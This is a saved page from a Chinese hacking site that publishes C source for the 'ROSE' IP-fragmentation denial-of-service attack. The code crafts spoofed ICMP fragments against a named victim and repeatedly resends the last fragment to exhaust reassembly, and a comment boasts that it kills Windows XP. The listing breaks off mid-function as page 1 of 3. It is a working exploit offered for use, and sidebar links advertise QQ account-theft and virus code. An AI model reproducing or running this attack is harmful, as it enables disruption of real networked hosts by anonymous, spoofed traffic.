ip碎片攻击源代码 [www_cnxhacker_com].htm

来自「一个由igmp攻击修改而来的icmp数据包攻击代码」· HTM 代码 · 共 582 行 · 第 1/3 页

HTM
582
字号
      width=200 border=0>
        <TBODY>
        <TR>
          <TD height=8><IMG height=1 
            src="IP碎片攻击源代码  [WwW_CnXHacker_CoM].files/a.gif"></TD></TR>
        <TR>
          <TD class=en 
          style="FILTER: progid:DXImageTransform.Microsoft.Gradient(startColorStr='#A0B3C9', endColorStr='#637B90', gradientType='0')" 
          bgColor=#7894ae height=22>
            <P align=center><FONT class=3D color=#ffffff><B>文章搜索 SEARCH 
            </B></FONT></P></TD></TR>
        <TR>
          <TD bgColor=#99b1ce height=1><IMG height=1 
            src="IP碎片攻击源代码  [WwW_CnXHacker_CoM].files/a.gif"></TD></TR>
        <TR>
          <TD align=left bgColor=#ffffff height=80>
            <TABLE cellSpacing=0 cellPadding=0 width="98%" align=right 
              border=0><TBODY>
              <TR>
                <TD>
                  <SCRIPT 
                  src="IP碎片攻击源代码  [WwW_CnXHacker_CoM].files/search_article.js" 
                  type=text/javascript></SCRIPT>
                </TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
      <TABLE style="BORDER-COLLAPSE: collapse" borderColor=#000000 cellPadding=2 
      width=200 border=0>
        <TBODY>
        <TR>
          <TD height=8><IMG height=1 
            src="IP碎片攻击源代码  [WwW_CnXHacker_CoM].files/a.gif"></TD></TR>
        <TR>
          <TD class=en 
          style="FILTER: progid:DXImageTransform.Microsoft.Gradient(startColorStr='#A0B3C9', endColorStr='#637B90', gradientType='0')" 
          bgColor=#7894ae height=22>
            <P align=center><FONT class=3D color=#ffffff><B>本类阅读排行 
            TOP10</B></FONT></P></TD></TR>
        <TR>
          <TD bgColor=#99b1ce height=1><IMG height=1 
            src="IP碎片攻击源代码  [WwW_CnXHacker_CoM].files/a.gif"></TD></TR>
        <TR>
          <TD align=middle bgColor=#ffffff height=180>
            <TABLE cellSpacing=0 cellPadding=0 width="98%" align=right 
              border=0><TBODY>
              <TR>
                <TD>·<A 
                  href="http://www.cnxhacker.com/article/show/1800.html">网页病毒源码解析</A><BR>·<A 
                  href="http://www.cnxhacker.com/article/show/485.html">Windows黑客编程基础</A><BR>·<A 
                  href="http://www.cnxhacker.com/article/show/1859.html">QQ盗号核心编程</A><BR>·<A 
                  href="http://www.cnxhacker.com/article/show/549.html">一个Delphi完成的QQ病..</A><BR>·<A 
                  href="http://www.cnxhacker.com/article/show/601.html">ASP验证码的程序及原理</A><BR>·<A 
                  href="http://www.cnxhacker.com/article/show/577.html">Window按钮突破专家 
                  汇..</A><BR>·<A 
                  href="http://www.cnxhacker.com/article/show/325.html">Win2000/XP/200..</A><BR>·<A 
                  href="http://www.cnxhacker.com/article/show/1584.html">关于代码加密解密保护</A><BR>·<A 
                  href="http://www.cnxhacker.com/article/show/506.html">解密ASP源代码</A><BR>·<A 
                  href="http://www.cnxhacker.com/article/show/191.html">高级扫描技术及原理介绍</A><BR></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
      <TABLE style="BORDER-COLLAPSE: collapse" borderColor=#000000 cellPadding=2 
      width=200 border=0>
        <TBODY>
        <TR>
          <TD height=8><IMG height=1 
            src="IP碎片攻击源代码  [WwW_CnXHacker_CoM].files/a.gif"></TD></TR>
        <TR>
          <TD class=en 
          style="FILTER: progid:DXImageTransform.Microsoft.Gradient(startColorStr='#A0B3C9', endColorStr='#637B90', gradientType='0')" 
          bgColor=#7894ae height=22>
            <P align=center><FONT class=3D color=#ffffff><B>广告 ADS 
            </B></FONT></P></TD></TR>
        <TR>
          <TD bgColor=#99b1ce height=1><IMG height=1 
            src="IP碎片攻击源代码  [WwW_CnXHacker_CoM].files/a.gif"></TD></TR>
        <TR>
          <TD vAlign=top align=left bgColor=#ffffff>
            <TABLE cellSpacing=0 cellPadding=0 width="98%" align=right 
              border=0><TBODY>
              <TR>
                <TD>
                  <SCRIPT language=JavaScript 
                  src="IP碎片攻击源代码  [WwW_CnXHacker_CoM].files/left.js" 
                  type=text/JavaScript></SCRIPT>
                </TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
      <TABLE style="BORDER-COLLAPSE: collapse" borderColor=#000000 cellPadding=2 
      width=200 border=0>
        <TBODY>
        <TR>
          <TD height=8><IMG height=1 
            src="IP碎片攻击源代码  [WwW_CnXHacker_CoM].files/a.gif"></TD></TR>
        <TR>
          <TD class=en 
          style="FILTER: progid:DXImageTransform.Microsoft.Gradient(startColorStr='#A0B3C9', endColorStr='#637B90', gradientType='0')" 
          bgColor=#7894ae height=22>
            <P align=center><FONT class=3D color=#ffffff><B>广告 ADS 
            </B></FONT></P></TD></TR>
        <TR>
          <TD bgColor=#99b1ce height=1><IMG height=1 
            src="IP碎片攻击源代码  [WwW_CnXHacker_CoM].files/a.gif"></TD></TR>
        <TR>
          <TD vAlign=top align=left bgColor=#ffffff>
            <TABLE cellSpacing=0 cellPadding=0 width="98%" align=right 
              border=0><TBODY>
              <TR>
                <TD>
                  <SCRIPT language=JavaScript 
                  src="IP碎片攻击源代码  [WwW_CnXHacker_CoM].files/left1.js" 
                  type=text/JavaScript></SCRIPT>
                </TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR>
  <TR>
    <TD vAlign=top bgColor=#808080 colSpan=2 height=5><IMG height=1 
      src="IP碎片攻击源代码  [WwW_CnXHacker_CoM].files/a.gif"></TD></TR>
  <TR>
    <TD 
    style="FILTER: progid:DXImageTransform.Microsoft.Gradient(startColorStr='#808080', endColorStr='#E4E4E4', gradientType='0')" 
    width=5 bgColor=#808080></TD>
    <TD vAlign=top width=555>
      <TABLE style="BORDER-COLLAPSE: collapse" height=160 cellSpacing=1 
      cellPadding=0 width=555 border=0>
        <TBODY>
        <TR>
          <TD 
          style="FILTER: progid:DXImageTransform.Microsoft.Gradient(startColorStr='#99B1CE', endColorStr='#FFFFFF', gradientType='1')" 
          bgColor=#99b1ce height=20><IMG height=10 
            src="IP碎片攻击源代码  [WwW_CnXHacker_CoM].files/S_EDU.gif" width=10> 
            <B>IP碎片攻击源代码</B></TD></TR>
        <TR>
          <TD id=CnXHacker_INFO vAlign=top align=middle bgColor=#f3f3f3 
          height=260>
            <TABLE style="TABLE-LAYOUT: fixed" cellSpacing=0 cellPadding=0 
            align=center border=0 95%?>
              <TBODY>
              <TR>
                <TD>
                  <DIV align=center>作者:未知 来源:CnXHacker.Net 加入时间:2005-1-25 
                  阅读次数:4522</DIV></TD></TR>
              <TR>
                <TD><BR>/***<BR>ROSE attack (variation 2) (chuck (at) 
                  lemure.net)<BR><BR>Discovered by:<BR>gandalf (at) 
                  digital.net<BR><BR>code modified from large IGMP attack 
                  by:<BR>Kox by Coolio (coolio (at) k-r4d.com)<BR><BR>Sends out 
                  small IP fragments totalling up to a large<BR>ICMP packet. 
                  Then repeatedly sends last IP Fragment forcing<BR>reassembly 
                  code to traverse to last IP fragment in order to<BR>do a 
                  free() followed by a malloc(). Or so it 
                  seems.<BR><BR>Reportedly works for TCP / UDP as well, since 
                  this is<BR>a IP layer attack.<BR><BR><BR>***/<BR><BR>/* just a 
                  thousand kills win XP */<BR><BR>#define NUM_PACKETS 
                  100<BR><BR><BR>#include &lt;stdio.h&gt;<BR>#include 
                  &lt;unistd.h&gt;<BR>#include &lt;stdlib.h&gt;<BR>#include 
                  &lt;netdb.h&gt;<BR>#include &lt;string.h&gt;<BR>#include 
                  &lt;errno.h&gt;<BR>#include &lt;pwd.h&gt;<BR>#include 
                  &lt;time.h&gt;<BR>#include &lt;sys/types.h&gt;<BR>#include 
                  &lt;sys/socket.h&gt;<BR>#include 
                  &lt;sys/utsname.h&gt;<BR>#include 
                  &lt;netinet/in.h&gt;<BR>#include 
                  &lt;netinet/ip.h&gt;<BR>#include 
                  &lt;netinet/ip_icmp.h&gt;<BR><BR>#include 
                  &lt;netinet/ip_icmp.h&gt;<BR><BR>void usage(char *arg)<BR>{ 
                  <BR>printf("Rose attack\n");<BR>printf("Usage: %s 
                  &lt;victim&gt; [source]\n", arg);<BR>printf("If source not 
                  specified, will send out from random 
                  ip's\n");<BR>exit(1);<BR>}<BR><BR><BR>unsigned int 
                  randip()<BR>{ <BR>struct hostent *he;<BR>struct sockaddr_in 
                  sin;<BR>char *buf = (char *)calloc(1, sizeof(char) * 
                  16);<BR><BR>sprintf(buf, 
                  "%d.%d.%d.%d",<BR>(random()%191)+23,<BR>(random()%253)+1,<BR>(random()%253)+1,<BR>(random()%253)+1); 
                  <BR><BR>return inet_addr(buf);<BR><BR>}<BR><BR>unsigned short 
                  in_cksum(unsigned short *buh, int len)<BR>{ <BR>register long 
                  sum = 0;<BR>unsigned short oddbyte;<BR>register unsigned short 
                  answer;<BR><BR>while(len &gt; 1) { <BR>sum += *buh++;<BR>len 
                  -= 2;<BR>}<BR><BR>if(len == 1) { <BR>oddbyte = 
                  0;<BR>*((unsigned char *)&amp;oddbyte) = *(unsigned char 
                  *)buh;<BR>sum += oddbyte;<BR>}<BR><BR>sum = (sum &gt;&gt; 16) 
                  + (sum &amp; 0xFFFF);<BR>sum += (sum &gt;&gt; 16);<BR>answer = 
                  ~sum;<BR>return answer;<BR>}<BR><BR>int fire_away(struct 
                  sockaddr_in *victim, unsigned long src)<BR>{ <BR>int SMALLICMP 
                  = 1;<BR>unsigned char *pkt;<BR>struct iphdr *ip;<BR>struct 
                  igmphdr *igmp;<BR>struct icmphdr *icmp_pkt;<BR>struct utsname 
                  *un;<BR>struct passwd *p;<BR>int 
                  idList[NUM_PACKETS];<BR>unsigned long j;<BR>int i, s;<BR>int 
                  id = (random() % 40000) + 500;<BR>for 
                  (i=0;i&lt;NUM_PACKETS;i++)<BR>idList[i]=(random() % 40000) + 
                  500;<BR><BR><BR>pkt = (unsigned char *)calloc(1, SMALLICMP 
                  <BR>+ sizeof(struct iphdr) +<BR>sizeof(struct icmphdr));<BR>ip 
                  = (struct iphdr *)pkt;<BR>icmp_pkt = (struct icmphdr *)(pkt + 
                  sizeof(struct iphdr));<BR>ip-&gt;version = 4;<BR>ip-&gt;ihl = 
                  (sizeof *ip) / 4;<BR>ip-&gt;ttl = 255;<BR>ip-&gt;tot_len = 
                  htons(SMALLICMP);<BR>ip-&gt;protocol = 1;<BR>ip-&gt;id = 
                  htons(id);<BR>ip-&gt;frag_off = htons(IP_MF);<BR>ip-&gt;saddr 
                  = src;<BR>ip-&gt;daddr = 
                  victim-&gt;sin_addr.s_addr;<BR>ip-&gt;check = 
                  in_cksum((unsigned short *)ip, sizeof(struct 
                  iphdr));<BR><BR><BR>icmp_pkt-&gt;type = 
                  ICMP_ECHO;<BR>icmp_pkt-&gt;code = 0;<BR>icmp_pkt-&gt;checksum 
                  = 1000;<BR>icmp_pkt-&gt;un.echo.id = random() % 
                  255;<BR>icmp_pkt-&gt;un.echo.sequence = random() % 

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?